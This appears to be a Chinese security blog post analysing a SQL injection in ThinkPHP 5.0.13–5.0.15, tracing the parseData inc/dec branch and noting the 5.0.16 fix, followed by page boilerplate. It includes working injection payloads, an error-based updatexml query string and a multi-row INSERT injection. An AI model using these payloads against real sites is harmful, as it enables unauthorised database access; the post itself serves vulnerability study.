Thinkphp5.0.15 SQL注入

前言

刚把tp5的RCE给审的差不多了,审的很爽,接下来审一下thinkphp5各个版本的SQL注入。
在这里插入图片描述
这里先开始审parseData方法造成的SQL注入,然后接下来几篇文章按照这个顺序来依次审计。
代码不用说了,composer先下载下来。

composer create-project  topthink/think=5.0.15 thinkphp5.0.15

下载来的%99都是版本不对,改一下composer.json
在这里插入图片描述
然后composer update就可以了。
index控制器那里写一下insert语句:

class Index
{
    public function index()
    {
        $username = request()->get('username/a');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
        db('users')->insert(['username' => $username,'password'=>'testpasswd']);
        return 'Update success';
    }
}

比较懒,数据库还是用sqli-labs的那个users库。
在application/database.php那里设置一下数据库:
在这里插入图片描述

开启 application/config.php 中的 app_debug 和 app_trace 。开启app_debug才可以看到报错注入的注入语句。
parseData()方法的注入,漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

分析

这里涉及的是insert注入,一开始可能会不理解为什么$username的获取那里要get(‘username/a’),转为数组,而不是直接获取字符串,那先把/a给去掉,传?username=adb,直接获取字符串,来看一下这一路上的代码逻辑。
在这里插入图片描述
跟进insert()方法,parseExpress()方法执行后,产生了这样的$option在这里插入图片描述
相当于只是获得一下查询的表名称。再跟进$this->builder->insert,这个生成SQL语句的函数:
在这里插入图片描述
有问题的函数就是这个parseData,不过这里先不分析。这里不打断点继续执行,产生的$data是这样:
在这里插入图片描述
产生了预编译参数。然后这里产生关键的SQL语句,就相当于直接替换了,替换后的结果是这样。
在这里插入图片描述

INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password) 

继续跟进,进入execute执行函数:
在这里插入图片描述
在这里插入图片描述
关键的就是这几句代码,对$sql,那个SQL语句进行prepare,然后bindParam(),进行一下参数绑定,然后执行语句,最终相当于一开始预编译语句是这个,然后绑定参数进行执行。:

INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password) 
INSERT INTO `users` (`username` , `password`) VALUES ("abc" , "testpasswd") 

结果也很明显了,肯定没法进行SQL注入,因为最后用了预编译,即使之前的那个SQL语句的产生是直接的替换,也无法实现注入。

再来看一下那个出了问题的parseData()函数:

/**
 * 数据分析
 * @access protected
 * @param array     $data 数据
 * @param array     $options 查询参数
 * @return array
 * @throws Exception
 */
protected function parseData($data, $options)
{
    if (empty($data)) {
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
        $fields = array_keys($bind);
    } else {
        $fields = $options['field'];
    }

    $result = [];
    foreach ($data as $key => $val) {
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;
}

产生预编译的那些是因为进入了这个if:

} elseif (is_scalar($val)) {
    // 过滤非标量数据
    if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
        $result[$item] = $val;
    } else {
        $key = str_replace('.', '_', $key);
        $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
        $result[$item] = ':data__' . $key;
    }
}

产生了:data_username:data_password的预处理。
但是如果$val是数组呢?get()方法那里改成username/a,会进入这个:

} elseif (is_array($val) && !empty($val)) {
    switch ($val[0]) {
        case 'exp':
            $result[$item] = $val[1];
            break;
        case 'inc':
            $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
            break;
        case 'dec':
            $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
            break;
    }
}

如果$val[0]是exp,inc,或者dec的话username的那一部分就不会产生预编译了,而是直接字符串,然后替换进入SQL语句中,不过exp不能用,因为
在这里插入图片描述
get方法会对exp进行过滤,使"exp"变成"exp "。跟进一下get,先获得$_GET,然后进入input:
在这里插入图片描述
再进入filterValue():
在这里插入图片描述
在filterValue方法中因为没用可回调的filter,所以最终调用这个:
在这里插入图片描述
进行了过滤,所以EXP不行。

public function filterExp(&$value)
{
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
    // TODO 其他安全过滤
}

但是inc和dec都可以。payload如下:

?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1

产生的SQL语句是这样:

INSERT INTO `users` (`username` , `password`) VALUES (updatexml(1,concat(0x7e,database(),0x7e),1)+1 , :data__password) 

SQL语句并不是预编译,而是直接插入,实现了SQL注入。不过这只是报错注入,如果没开启报错,而且有回显的点的话,就可以这样:

?username[0]=inc&username[1]=database(),database()),("123"&username[2]=1

执行的SQL语句是这样:

INSERT INTO `users` (`username` , `password`) VALUES (database(),database()),("123"+1 , 'testpasswd')

放一下七月火师傅的总结图:
在这里插入图片描述

修复

去github上看一下thinkphp5.0.16的更新信息:
在这里插入图片描述
在这里插入图片描述
看一下这个改进的inc/dec查询:
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
软件介绍 ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性,经历了三年多发展的同时,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和 改进,众多的典型案例确保可以稳定用于商业以及门户级的开发。 ThinkPHP借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,采用单一入口模式等,融合了Struts的 Action思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式,封装了CURD和一些常用操作,在项目配置、类 库导入、模版引擎、查询语言、自动验证、视图模型、项目编译、缓存机制、SEO支持、分布式数据库、多数据库连接和切换、认证机制和扩展性方面均有独特的 表现。 使用ThinkPHP,你可以更方便和快捷的开发和部署应用。当然不仅仅是企业级应用,任何PHP应用开发都可以从ThinkPHP的简单 和快速的特性中受益。ThinkPHP本身具有很多的原创特性,并且倡导大道至简,开发由我的开发理念,用最少的代码完成更多的功能,宗旨就是让WEB应 用开发更简单、更快速。为此ThinkPHP会不断吸收和融入更好的技术以保证其新鲜和活力,提供WEB应用开发的最佳实践! ThinkPHP遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产 品发布/销售。 ThinkPHP v5.0.15 更新日志: 改进View类 改进chunk方法 改进模板引擎的表达式语法 改进自关联查询多级调用问题 关联定义增加`selfRelation`方法用于设置是否自关联 改进file类型的缓存`inc`和`dec`方法不改变缓存有效期 改进软删除 支持设置`deleteTime`属性关闭 改进`union`查询 改进查询缓存 优化File缓存自动生成空目录的问题 改进日志写入并发问题 修正`MorphTo`关联 改进`join`自关联查询 改进`case`标签解析 改进Url类对`url_convert`配置的支持

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值